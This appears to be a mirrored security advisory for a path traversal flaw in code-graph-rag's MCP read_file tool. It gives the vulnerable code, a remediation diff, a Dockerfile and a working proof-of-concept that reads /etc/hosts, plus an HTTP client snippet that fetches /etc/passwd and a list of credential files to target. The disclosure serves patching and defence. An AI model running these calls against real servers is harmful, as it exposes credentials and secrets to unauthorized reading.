
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 0.0.345
Patched in 0.0.345
Details
The read_file MCP tool in codebase_rag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.project_root) / file_path without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.
Vulnerable location: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)
The read_file MCP tool accepts three parameters: file_path, offset, and limit. When either offset or limit is present the handler takes a distinct code path:
# codebase_rag/mcp/tools.py:556-565
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK
Because pathlib.Path.__truediv__ replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes full_path to point outside the project root.
The non-paginated branch is protected by the @validate_project_path decorator (applied via codebase_rag/tools/file_reader.py:27) which performs .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.
Full data-flow (source → sink):
codebase_rag/config.py:302 — HTTP MCP default host is 0.0.0.0.codebase_rag/cli.py:717 — CLI exposes mcp-server.codebase_rag/cli.py:726–731 — --transport http invokes serve_http(host=resolved_host, port=resolved_port).codebase_rag/mcp/server.py:208–210 — Starlette mounts the MCP HTTP endpoint.codebase_rag/mcp/tools.py:227–249 — read_file is registered as an MCP tool accepting attacker-controlled file_path, offset, and limit.codebase_rag/mcp/server.py:113–127 — call_tool dispatches JSON arguments directly to the handler via await handler(**arguments).codebase_rag/mcp/tools.py:561–565 — paginated branch builds full_path and calls open(full_path) without any boundary check.The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.
Prerequisites:
vuln-001/ artifacts present (Dockerfile, poc.py).Build and run:
# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc
The Dockerfile installs the codebase_rag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.
What the PoC does (poc.py):
mgclient / pymgclient native C extensions (Memgraph client) so the package imports without a live database.MCPToolsRegistry via object.__new__(), setting only self.project_root = "/tmp/safe-project-root" — matching what the real server does.Path("/tmp/safe-project-root") / "/etc/hosts" resolves to Path("/etc/hosts").registry.read_file("/etc/hosts", offset=0, limit=5) — the actual vulnerable method from the installed package./etc/hosts content is returned, confirming full boundary bypass.Expected output:
[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal
Equivalent HTTP transport attack (when server is running):
python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"read_file",
{"file_path": "/etc/passwd", "offset": 0, "limit": 10},
)
print(result.content[0].text)
anyio.run(main)
PY
Remediation:
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
- full_path = Path(self.project_root) / file_path
+ project_root = Path(self.project_root).resolve()
+ try:
+ full_path = (project_root / file_path).resolve()
+ full_path.relative_to(project_root)
+ except (ValueError, RuntimeError):
+ return te.ERROR_WRAPPER.format(
+ message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+ )
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f:
This is a path traversal / arbitrary file read vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.
An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running cgr mcp-server. Exploitable targets include:
/etc/passwd, /etc/shadow — credential disclosure..env files, or private keys stored anywhere on the host./proc/self/environ for environment variable leakage).The vulnerability is particularly severe because the HTTP transport binds to 0.0.0.0:8080 by default (codebase_rag/config.py:302), exposing the server to the network without any authentication requirement in the default configuration.
DockerfileFROM python:3.12-slim
# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the vulnerable repository source
COPY repo/ /app/repo/
# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
pip install --quiet \
loguru \
"mcp>=1.25.0" \
"pydantic-ai>=1.102.0" \
"pydantic-settings>=2.12.0" \
"python-dotenv>=1.2.1" \
"tiktoken>=0.12.0" \
"toml>=0.10.2" \
"tree-sitter==0.25.2" \
"tree-sitter-python>=0.25.0" \
"watchdog>=6.0.0" \
"typer>=0.21.1" \
"rich>=14.2.0" \
"prompt-toolkit>=3.0.52" \
"diff-match-patch>=20241021" \
"click>=8.3.1" \
"protobuf>=6.33.5" \
"defusedxml>=0.7.1" \
"huggingface-hub>=1.7.2" \
"pathspec>=1.0.4" \
"griffe>=1.0,<2" \
httpx \
anyio
# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/
# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
echo "# This is a safe project file" > /tmp/safe-project-root/README.md
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)
Vulnerable code location:
codebase_rag/mcp/tools.py lines 561-565 (MCPToolsRegistry.read_file)
Root cause:
When 'offset' or 'limit' is provided, the method builds the path as:
full_path = Path(self.project_root) / file_path # line 562
Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
The non-paginated branch is protected by @validate_project_path, but this branch
has no such guard, so any absolute path is opened unconditionally.
Attack path (HTTP transport):
MCP client -> POST /mcp -> call_tool("read_file", {"file_path": "/etc/hosts",
"offset": 0, "limit": 5})
-> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
-> full_path = Path("/safe/root") / "/etc/hosts" ==> Path("/etc/hosts")
-> open("/etc/hosts") # no boundary check, file content returned
This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package. The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path. The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""
import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock
# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client). It is imported at the top of
# codebase_rag/services/graph_service.py. Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
print(f"[!] Import failed: {exc}")
sys.exit(2)
print("[+] Import successful\n")
# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"
registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT
print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()
# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"
joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f" Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f" => {joined}")
print(f" Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")
assert str(joined) == ATTACK_PATH, (
f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")
# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path = {joined}")
print()
async def run_poc() -> str:
return await registry.read_file(ATTACK_PATH, offset=0, limit=5)
result = asyncio.run(run_poc())
print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()
# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
actual_hosts = fh.read()
# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
"Lines " in result # pagination header present
or "127.0.0.1" in result # standard loopback entry
or "localhost" in result # standard hostname entry
or "::1" in result # IPv6 loopback
or any(
line.strip() in result
for line in actual_hosts.splitlines()
if line.strip() and not line.startswith("#")
)
)
if confirmed:
print("[+] EXPLOIT SUCCESSFUL")
print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
print()
print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
sys.exit(0)
else:
print("[-] Validation failed -- could not find /etc/hosts content in result")
print(f"[-] Returned value: {result!r}")
sys.exit(1)
EPSS, exploit probability
Low0.38%
estimated chance of real-world exploitation in the next 30 days, higher than 32.6% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.